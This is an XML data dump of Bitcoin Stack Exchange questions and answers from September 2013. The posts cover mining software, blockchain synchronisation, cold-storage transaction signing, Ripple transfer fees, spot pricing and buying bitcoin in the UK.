  <row Id="13238" PostTypeId="2" ParentId="13201" CreationDate="2013-09-10T17:08:06.563" Score="1" Body="&lt;p&gt;After looking at the (quite old) source code of poclbm, there is a commented line that creates the SSL connection. Not sure it is the reason but I guess it doesn't support HTTPS in its last version.&#xA;I changed to DiabloMiner (I had to add my self-signed certificate using the &lt;a href=&quot;http://code.google.com/p/java-use-examples/source/browse/trunk/src/com/aw/ad/util/InstallCert.java&quot; rel=&quot;nofollow&quot;&gt;InstallCert.java&lt;/a&gt; tool)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can now mine over HTTPS. Next step is a pool...&lt;/p&gt;&#xA;" OwnerUserId="6688" LastActivityDate="2013-09-10T17:08:06.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13239" PostTypeId="2" ParentId="13224" CreationDate="2013-09-10T18:14:16.383" Score="1" Body="&lt;p&gt;BTC Look's Testnet is still online. Try &lt;a href=&quot;http://testnet.btclook.com/addr/mpc1rKeaMSCuQnJevMViLuq8uWjHwgdjiV&quot; rel=&quot;nofollow&quot;&gt;http://testnet.btclook.com/addr/mpc1rKeaMSCuQnJevMViLuq8uWjHwgdjiV&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-10T18:14:16.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13240" PostTypeId="2" ParentId="13236" CreationDate="2013-09-10T18:42:28.217" Score="2" Body="&lt;p&gt;The synchronization process will not only download the blockchain, but also verify each block. Besides the computational effort, this generates a lot of disk accesses, so if you have a slow HDD, an encrypted disk, or are doing a lot of other i/o at the same time that might be your bottleneck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9277/how-to-increase-the-speed-of-synchronisation&quot;&gt;How to increase the speed of synchronisation?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: One might also want to check if &lt;em&gt;bitcoind&lt;/em&gt; is up-to-date, the repositories of popular distributions can be lagging somewhat behind on fast developing projects.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-09-17T15:19:00.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13241" PostTypeId="1" AcceptedAnswerId="21468" CreationDate="2013-09-10T20:02:26.830" Score="8" ViewCount="2733" Body="&lt;p&gt;I've moved my bitcoind process to a new server, I made a backup of my .bitcoin folder (I'm using linux). I would really like to avoid downloading the whole blockchain again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the right way to import all the blk00000.dat files? Is it enough to move the .bitcoin folder over the new one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I see the Loadblock option but I suppose I should run it after move the file outside.Anyone can confirm this? Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="6712" LastEditorUserId="6540" LastEditDate="2015-02-04T11:33:49.257" LastActivityDate="2015-02-04T20:23:29.983" Title="importing all blkXXXXXX.dat" Tags="|blockchain|bitcoind|block|synchronization|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13242" PostTypeId="2" ParentId="13174" CreationDate="2013-09-10T22:34:35.697" Score="2" Body="&lt;p&gt;Here is a comprehensive list of key formats: &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;. Technically, most of these are not addresses, but this seems to be in line with @Assaf Shomer's answer, which mentions raw private keys. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-10T22:34:35.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13243" PostTypeId="2" ParentId="13233" CreationDate="2013-09-11T01:20:26.573" Score="2" Body="&lt;p&gt;If for some reason you don't want to create multiple bitcoin addresses*, you can use this arrangement:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Customer is given your single bitcoin address and a unique invoice number. The invoice number doesn't have to be secret just unique.&lt;/li&gt;&#xA;&lt;li&gt;Customer is required to pay from a bitcoin address &lt;em&gt;they have the private key for&lt;/em&gt;. Until they pay they don't have to tell anyone what this bitcoin address will be.&lt;/li&gt;&#xA;&lt;li&gt;Once you have received and verified the payment, you record the bitcoin address it came from.&lt;/li&gt;&#xA;&lt;li&gt;Customer picks up the purchase (or triggers physical delivery) by signing their invoice number with their private key. You verify the signature with their public key and send the delivery.&lt;/li&gt;&#xA;&lt;li&gt;You can then delete the customer record from the database if you wish &lt;sup&gt;(and if legally permitted)&lt;/sup&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should warn the customer that a purchase will not be delivered without a signed invoice number; and if automatic refunds occur for this service the refund will be to the address it came from - which may not be &lt;em&gt;their&lt;/em&gt; specific logical wallet if they used an aggregate service provider or clearing house (the money becomes &lt;a href=&quot;http://www.sec.gov/answers/escheat.htm&quot; rel=&quot;nofollow&quot;&gt;lost&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* Maybe to avoid transaction fees for aggregating payments, or you have a favorite wallet service, or you have a joint account with a company partner.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-11T01:20:26.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13246" PostTypeId="1" AcceptedAnswerId="13252" CreationDate="2013-09-11T11:39:19.610" Score="5" ViewCount="363" Body="&lt;p&gt;I wonder what APIs of bitcoind I can use to sign a transaction without actually publishing it. I read that createrawtransaction (in conjunction with signrawtransaction) is a bit risky and for sure poorly documented. Are there any alternatives?&lt;/p&gt;&#xA;" OwnerUserId="6718" LastEditorUserId="120" LastEditDate="2013-09-19T11:05:39.033" LastActivityDate="2013-09-19T11:05:39.033" Title="How to implement cold storage payments using bitcoind" Tags="|bitcoind|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13247" PostTypeId="1" AcceptedAnswerId="13248" CreationDate="2013-09-11T12:37:57.207" Score="0" ViewCount="152" Body="&lt;p&gt;When a Ripple-Gateway charges a transit fee for third parties exchanging their IOU, who pays the transit fee?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-11T13:39:35.000" LastActivityDate="2013-09-11T13:39:35.000" Title="When a Ripple-Gateway charges a fee for third parties exchanging their IOU, how is it determined who pays the fee?" Tags="|ripple|ripple-gateways|iou|" AnswerCount="1" CommentCount="2" ClosedDate="2020-05-05T13:44:05.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="13248" PostTypeId="2" ParentId="13247" CreationDate="2013-09-11T12:44:11.643" Score="0" Body="&lt;p&gt;When a Ripple user sends funds, he sets the amount that he wants the recipient to receive and the system will offer a proposition on how much the input for the transaction needs to be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon execution the transaction is atomical (either it happens completely or not at all). The system will use the ledger to find the optimal path and the sender pays all transit fees occurring along the path.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-11T13:38:57.730" LastActivityDate="2013-09-11T13:38:57.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13249" PostTypeId="1" AcceptedAnswerId="13257" CreationDate="2013-09-11T12:53:50.653" Score="1" ViewCount="521" Body="&lt;p&gt;When two trade orders in Ripple are matched and they incur a transit fee for exchanging IOUs, which of the parties pays the transit fee? Is this transit fee already included in the order or is it added later? I.e. are trade offers WYSIWYG?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-11T13:40:04.783" LastActivityDate="2013-09-12T17:02:09.320" Title="When a trade offer in Ripple incurs transit fees, who pays them?" Tags="|ripple|trading|iou|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13250" PostTypeId="1" CreationDate="2013-09-11T14:47:19.513" Score="7" ViewCount="3959" Body="&lt;p&gt;I want to play with the implementation to better understand the inner workings of Bitcoin. I'm familiar mostly with python and C# and found no clients in either of the languages. My C skills are rusty because I haven't done any C in last decade. &lt;/p&gt;&#xA;" OwnerUserId="3324" LastEditorUserId="5406" LastEditDate="2018-04-16T05:01:17.027" LastActivityDate="2018-04-16T05:01:17.027" Title="Is there bitcoin implementation in python or C#?" Tags="|python|library|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13252" PostTypeId="2" ParentId="13246" CreationDate="2013-09-11T16:26:12.607" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5508&quot;&gt;Using bitcoind&lt;/a&gt;, sendrawtransaction is one of the steps normally performed.  So to not broadcast, simply omit that command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an alternative, you might want to look at SX&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SX is a set of modular Bitcoin commandline utilities that admin types can engage with Bitcoin functionality without having to write code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sx.dyne.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sx.dyne.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmagazine.com/6234/what-libbitcoin-and-sx-are-and-why-they-matter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinmagazine.com/6234/what-libbitcoin-and-sx-are-and-why-they-matter/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using the Mycelium mobile app has to be the easiest method to spend funds from a paper wallet. From the app, select Cold Storage. Then scan the private key from the wallet. Then scan the QR code for the Bitcoin address to send the funds to.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-11T16:26:12.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13253" PostTypeId="2" ParentId="13250" CreationDate="2013-09-11T17:44:50.537" Score="6" Body="&lt;p&gt;There isn't yet a complete implementation AFAIK, but there are different libraries that implement bitcoin features (wallets, keys, utilities, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depends on whether you want an implementation of bitcoin network protocol or wallet or just an overlay on top of the JSON-RPC interface of bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful code on github:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc&lt;/a&gt; - Python interface to bitcoin's JSON-RPC API&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory&quot; rel=&quot;nofollow&quot;&gt;https://github.com/etotheipi/BitcoinArmory&lt;/a&gt; - Python-Based Bitcoin Software&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt; - Python-based tools for the Bitcoin cryptocurrency system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinlib&lt;/a&gt; - Bitcoin library&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum&lt;/a&gt; - Electrum thin-client&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum-server&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum-server&lt;/a&gt; - Electrum server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/spesmilo/sx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/sx&lt;/a&gt; - Python CLI tools&lt;/p&gt;&#xA;" OwnerUserId="6664" LastEditorUserId="1643" LastEditDate="2013-11-26T14:02:06.020" LastActivityDate="2013-11-26T14:02:06.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13254" PostTypeId="2" ParentId="13215" CreationDate="2013-09-11T17:45:24.460" Score="3" Body="&lt;p&gt;I have a third option: We get rid of Anti-money laundering (AML) regulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Money laundering has been criminalized in the United States since the Money Laundering Control Act of 1986. Perhaps it's time to reverse that decision.&lt;/p&gt;&#xA;" OwnerUserId="1857" LastActivityDate="2013-09-11T17:45:24.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13255" PostTypeId="1" AcceptedAnswerId="13261" CreationDate="2013-09-11T18:39:45.120" Score="5" ViewCount="3857" Body="&lt;p&gt;I was offered to buy Bitcoin for today's spot price (MtGox to be specific). So, I am wondering, what is the spot price and how is it calculated? Is there a standard tool to look it up?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-21T23:31:58.893" Title="What is the Bitcoin spot price and how is it calculated?" Tags="|exchange-rate|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13256" PostTypeId="2" ParentId="13255" CreationDate="2013-09-11T19:14:15.443" Score="0" Body="&lt;p&gt;Spot pricing is calculated by looking at amounts and prices in the bids/offers that everyone has posted, and adding them up until they meet your what you are willing to sell/buy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if that's a great explanation, but incidentally, I created an application that illustrates this a while ago: &lt;a href=&quot;http://btc-spot-pricing.johnhenry.c9.io/&quot; rel=&quot;nofollow&quot;&gt;http://btc-spot-pricing.johnhenry.c9.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-11T19:14:15.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13257" PostTypeId="2" ParentId="13249" CreationDate="2013-09-11T19:58:04.553" Score="3" Body="&lt;p&gt;Transfer fees are charged whenever accounts with one set have a balance moved between other accounts. For payments, the sender always pays no matter which balances are adjusted, for trades the account 'sending/giving' pays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there is a trade of USD/Bitstamp for BTC/DividendRippler between two accounts (it doesn't matter which entered the initial trade offer or if it is a BUY or SELL order) then the account that gives USD pays the 0.2% Bitstamp transfer fee and the account that gives BTC pays the 0.15% DividendRippler transfer fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example, if the trade was for USD/Bitstamp and XRP then the account giving XRP would pay no fee and the account giving USD would pay Bitstamp's 0.2% fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fee is not pre-calculated into the trade offer but calculated when trades are executed. It's even possible for the issuing account to change their transfer rate/fee¹ between when the offer is posted and when it's executed, in which case the rate in effect at the time the offer is executed is the one that applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¹ Presumably gateways change their transfer rate rarely and according to their published policies. E.g. some gateways have promised a maximum they'll never exceed and promised to give 30 days notice before any increase. Ripple doesn't enforce any such policies however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also some related Ripple forum posts (that basically say the same thing):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=3099&amp;amp;p=12204#p12204&quot; rel=&quot;nofollow&quot;&gt;Re: Transaction fee on the BTC/XRP in built-in Exchange?&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=3099&amp;amp;p=12190#p12190&quot; rel=&quot;nofollow&quot;&gt;Re: Transaction fee on the BTC/XRP in built-in Exchange?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[Edit] Small correction:&lt;br&gt;&#xA;Although the overall exchange rate/price isn't adjusted to affect the transfer rate, the shown amount of the offer (the funded portion) may be adjusted as the transfer rate changes. [Ignore the rest of this if you're not interested in the details of &quot;partially funded&quot; offers.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed an example of this on a trade offer that is internally represented as &quot;&lt;code&gt;taker gets 10 GBP/Bitstamp; taker pays 2940 XRP&lt;/code&gt;&quot;. Normally this would display on the GBP/XRP order book as an ASK with &quot;&lt;code&gt;Ask Price 294 XRP&lt;/code&gt;&quot;, &quot;&lt;code&gt;Size 10 GBP&lt;/code&gt;&quot;. If the account making the offer had at least 10.02 GBP (10 * the transfer rate of 1.002) this is what would be shown. (Since to fill the offer the offer taker would get 10 GBP but the offer maker would have to give up 10.02 GBP to cover the transfer fee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the account making the offer has a balance of exactly 10 GBP/Bitstamp so due to the transfer rate this offer is considered not fully funded. Internally the offer also has fields &quot;&lt;code&gt;taker gets funded 9.980039920159681 GBP; taker pays funded 2934.131736 XRP&lt;/code&gt;&quot;. So this shows up in the GBP/XRP order book as an ASK with &quot;&lt;code&gt;Ask Price 294&lt;/code&gt;&quot;, &quot;&lt;code&gt;Size 9.980039 GBP&lt;/code&gt;&quot;. Note that the ask price hasn't changed, just the total amount. Someone taking 5 GBP of the offer (for 1470 XRP) would get exactly 5 GBP but the offer maker would give 5.01 GBP to cover the transfer fee. Since the offer maker only has 10 GBP the fee has to come out of that leaving only ~9.98 GBP funded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transfer rate were to change the funded portion should also change. If the account were to get another 0.02 GBP (or more) the offer would be considered fully funded. If the account spends GBP and where to make their balance exactly 5.01 GBP the funded portion should change to show 5 GBP.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2013-09-12T17:02:09.320" LastActivityDate="2013-09-12T17:02:09.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13259" PostTypeId="1" CreationDate="2013-09-11T22:05:41.810" Score="1" ViewCount="1185" Body="&lt;p&gt;I feel I may have been cheated by Bitcoin Block Explorer whose URL is &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the online wallet provided by Bitcoin Block Explorer. It contains 1.5 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the website &lt;a href=&quot;http://blockchain.info/stats&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/stats&lt;/a&gt;, the weighted average price is 134.19 USD for 1 BTC on September 11. It means that my 1.5 BTC  is worth 201.29 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However after logging in to my wallet, on the top right-hand corner, the USD equivalent shows 186.18 USD. It means the weighted average price is 124.12 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could some experienced guy explain to me the discrepancy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Added a second question&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going through the comments posted here, a second question comes to mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An online merchant gives his customers the option of paying using one of the following methods: Visa, PayPal or Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price of the product is 50 Euros if the buyer uses Visa or PayPal to pay but 0.52 BTC if he chooses the Bitcoin payment system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to some posters here, Bitcoin/USD rates vary across exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: if I am the customer, how can I be sure that I am not overcharged if I use Bitcoins to pay? (0.52 BTC may worth more than 50 Euros)&lt;/p&gt;&#xA;" OwnerUserId="5556" LastEditorUserId="5556" LastEditDate="2013-09-12T19:52:54.990" LastActivityDate="2013-09-13T12:23:41.077" Title="Why have my funds in Bitcoin Block Explorer's online wallet decreased in value?" Tags="|blockchain.info|value|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13260" PostTypeId="2" ParentId="13259" CreationDate="2013-09-11T22:14:51.500" Score="2" Body="&lt;p&gt;It looks like blockchain.info is using different conversion rates in different places. Why they are doing this (and where they are getting their data) is really something only the owners know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to thank you for bringing this to our attention; however as blockchain.info is an important source of data for the entire community and it's important that we are aware of discrepancies like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the second part, the answer lies in the field of economics. The truth is the price of things -- that is, what people are willing to give up for something else -- is constantly changing throughout the world, though you may not notice it locally, especially if you are used to a fixed pricing system as is used in most of the western world. In a way, our financial systems are built to mask this fluctuation, but bitcoin is new and our financials systems simply aren't built to cope with it, thus we are currently seeing a lot of unusual market phenomena involving it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin, like all things, actually, doesn't really have a &quot;fixed price&quot; -- just how much, on average a bunch of people are willing to sell it for. The price that you see on the web is actually based on an average of what many people have posted on many exchanges as their own individual bids that they are willing to share and for how much. Different sites read different bids and possibly use different methods of calculating this average, so this is why you see varying prices in various places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that a person may sell different amounts of bitcoin for different prices, say 10 BTC for $100 and 20 BTC for $180 (A 10% discount for buying double!). This can also affect changes in price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, since bitcoin's price isn't fixed, you kind of have to throw the idea of &quot;overcharging&quot; out the window. Let's say you buy a bitcoin for $100 and I buy one for $90. Were you overcharged by $10? Perhaps. Or perhaps tomorrow someone may offer you $150 for that bitcoin. It looks like you may have been undercharged by $50. Again, since there is no real fixed price, and what people are charging for it varies so much, the idea of &quot;overcharging&quot; doesn't really make sense. However...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best advice to avoid &quot;overcharging&quot; is just to be diligent search around for what ever is cheapest, but also be aware of what's most convenient for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Coinbase.com&lt;/em&gt; is fairly cheap, but it currently it takes about a month before you get full access to instantly purchase bitcoin. There are faster methods, but they are usually on the expensive side and I would generally avoid them after spending you month on Coinbase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;MtGox.com&lt;/em&gt; (as I've been informed) suffers from having both a high price and along wait to get money out of it, although their high sell price is appealing to some, such they are willing to forgo the inconvenience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;LocalBitcoins.com&lt;/em&gt; and &lt;em&gt;Satoshi Squares&lt;/em&gt; (tf you can find or start one) are also good options to meet up and trade bitcons. Here, you may actually be able to negotiate face to face to ensure that you're getting a good price. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2013-09-13T12:23:41.077" LastActivityDate="2013-09-13T12:23:41.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13261" PostTypeId="2" ParentId="13255" CreationDate="2013-09-11T22:22:56.923" Score="3" Body="&lt;p&gt;Just like with other commodities, there can be multiple &quot;spot price&quot; numbers.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With gold, for instance, there can (and usually will) be different price on the Comex exchange &lt;a href=&quot;http://www.tradersgame.com/articles/gold-prices.html&quot; rel=&quot;nofollow&quot;&gt;versus the price the at the auctions&lt;/a&gt; in London for local delivery there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when referencing the spot price, that is ambiguous until the specific market whose prices will be used are clearly defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then there is the issue of the the bid/ask spread at any point in time.  Since there is no regulations defining how spot price is computed, there is ambiguity between whether the highest bid offer should be the spot price, or the lowest ask offer.  Others might consider the value from last trade as being the spot price.  Another approach is to find the value exactly in the middle of the bid and ask and deem that as the spot price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay uses an algorithm that attempts to be fair in determining &quot;spot price&quot; by using multiple exchanges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;‎&lt;a href=&quot;https://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/bitcoin-exchange-rates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And Coindesk provides a proprietary spot price service where &quot;spot price&quot; also is computed using data from multiple exchanges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coindesk.com/price&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/price&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coindesk.com/coindesk-launches-proprietary-bitcoin-price-index/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/coindesk-launches-proprietary-bitcoin-price-index/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-11T22:22:56.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13262" PostTypeId="2" ParentId="13259" CreationDate="2013-09-11T23:32:32.557" Score="3" Body="&lt;p&gt;Bitcoins are traded on many different exchanges.  The prices are varying  constantly just like any currency.  As an example:  at this time three rates are Mt.Gox - $143.0983; CampBX - $125.8000; and BTC-E - $124.0000 (all USD).  As I learn more, and become familiar with the exchanges, I may try some arbitrage.  I have a feeling there are problems, or people would be doing it now, and all the exchanges would be more in line with each other.&lt;/p&gt;&#xA;" OwnerUserId="6723" LastActivityDate="2013-09-11T23:32:32.557" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13263" PostTypeId="2" ParentId="13255" CreationDate="2013-09-11T23:50:10.527" Score="1" Body="&lt;p&gt;I believe on the precious metal markets, the spot price is fairly uniform because of the large amounts of money involved and arbitrage.  The spot price it the average of the bid and ask of the highest valued traders (i.e., the lowest spread which may be only a few pennies).  During some times of the day 3 or more major exchanges around the world are trading.  If the price on one exchange is significantly higher than another, a big trader will buy on the lower exchange and simultaneously sell on the higher.   Instant profit with almost no risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen Gornick is correct.  I deal with several metal brokers, some run their own exchanges, so when they quote spot they are quoting their spot, which is always higher than New York, London, or whichever major market may be open at that time. They also set their own spread rather than market makers.  When Bitcoins trade in New York and Hong Kong, then spot may really be spot.&lt;/p&gt;&#xA;" OwnerUserId="6723" LastEditorUserId="6723" LastEditDate="2013-09-14T04:14:28.793" LastActivityDate="2013-09-14T04:14:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13264" PostTypeId="1" AcceptedAnswerId="13293" CreationDate="2013-09-12T07:34:33.707" Score="4" ViewCount="13020" Body="&lt;p&gt;I have come across multiple websites offering bitcoins for UK bank transfer. What site have people had the best experience with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across a few so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quickbitcoin.co.uk&quot; rel=&quot;nofollow&quot; title=&quot;www.quickbitcoin.co.uk&quot;&gt;www.quickbitcoin.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitbargain.co.uk&quot; rel=&quot;nofollow&quot; title=&quot;www.bitbargain.co.uk&quot;&gt;www.bitbargain.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="5657" LastEditorUserId="132" LastEditDate="2014-01-19T11:34:15.263" LastActivityDate="2014-01-19T11:34:15.263" Title="What's the safest way to buy bitcoins in the UK?" Tags="|buy-bitcoins|uk|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13266" PostTypeId="1" CreationDate="2013-09-12T10:05:36.403" Score="1" ViewCount="145" Body="&lt;p&gt;After making a transaction and receiving all the hashes and ids, is there a number that is secret and only the two people involved in the transaction know?&lt;/p&gt;&#xA;" OwnerUserId="6641" LastEditorUserId="6242" LastEditDate="2013-09-15T10:31:20.253" LastActivityDate="2013-10-15T10:38:51.973" Title="Is there a secret number that is only known by the sender and the receiver after making a transaction?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13268" PostTypeId="2" ParentId="13266" CreationDate="2013-09-12T11:58:30.930" Score="0" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it would be possible to build a scheme on top of the public and private keys that they used to exchange a secret key, similar to how RSA/DSA is used to make session keys for encryption.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-09-12T11:58:30.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
